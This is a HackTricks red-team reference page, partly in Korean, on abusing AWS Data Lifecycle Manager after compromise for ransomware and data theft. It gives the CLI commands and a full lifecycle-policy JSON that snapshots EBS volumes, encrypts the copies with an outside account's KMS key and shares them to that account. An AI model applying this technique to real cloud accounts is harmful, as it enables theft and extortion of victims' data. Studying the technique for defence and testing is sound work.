AWS - DLM Post Exploitation

HackTricks 지원

데이터 라이프사이클 관리자 (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

랜섬웨어 공격은 가능한 많은 EBS 볼륨을 암호화한 다음 현재 EC2 인스턴스, EBS 볼륨 및 스냅샷을 삭제함으로써 실행될 수 있습니다. 이 악의적인 활동을 자동화하기 위해 Amazon DLM을 사용하여 다른 AWS 계정의 KMS 키로 스냅샷을 암호화하고 암호화된 스냅샷을 다른 계정으로 전송할 수 있습니다. 또는 암호화하지 않은 스냅샷을 관리하는 계정으로 전송한 다음 해당 계정에서 암호화할 수 있습니다. 기존 EBS 볼륨이나 스냅샷을 직접 암호화하는 것은 간단하지 않지만 새 볼륨이나 스냅샷을 만들어서 가능합니다.

먼저 인스턴스 ID, 볼륨 ID, 암호화 상태, 첨부 상태 및 볼륨 유형과 같은 볼륨에 대한 정보를 수집하는 명령을 사용합니다. aws ec2 describe-volumes

Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.

aws dlm create-lifecycle-policy --description "내 첫 번째 정책" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

A template for the policy document can be seen here:

```json
{
    "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
    "ResourceTypes": [
        "VOLUME"
    ],
    "TargetTags": [
        {
            "Key": "ExampleKey",
            "Value": "ExampleValue"
        }
    ],
    "Schedules": [
        {
            "Name": "DailySnapshots",
            "CopyTags": true,
            "TagsToAdd": [
                {
                    "Key": "SnapshotCreator",
                    "Value": "DLM"
                }
            ],
            "VariableTags": [
                {
                    "Key": "CostCenter",
                    "Value": "Finance"
                }
            ],
            "CreateRule": {
                "Interval": 24,
                "IntervalUnit": "HOURS",
                "Times": [
                    "03:00"
                ]
            },
            "RetainRule": {
                "Count": 14
            },
            "FastRestoreRule": {
                "Count": 2,
                "Interval": 12,
                "IntervalUnit": "HOURS"
            },
            "CrossRegionCopyRules": [
                {
                    "TargetRegion": "us-west-2",
                    "Encrypted": true,
                    "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
                    "CopyTags": true,
                    "RetainRule": {
                        "Interval": 1,
                        "IntervalUnit": "DAYS"
                    }
                }
            ],
            "ShareRules": [
                {
                    "TargetAccounts": [
                        "123456789012"
                    ],
                    "UnshareInterval": 30,
                    "UnshareIntervalUnit": "DAYS"
                }
            ]
        }
    ],
    "Parameters": {
        "ExcludeBootVolume": false
    }
}

<div data-gb-custom-block data-tag="hint" data-style='success'>

Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

</div>

Last updated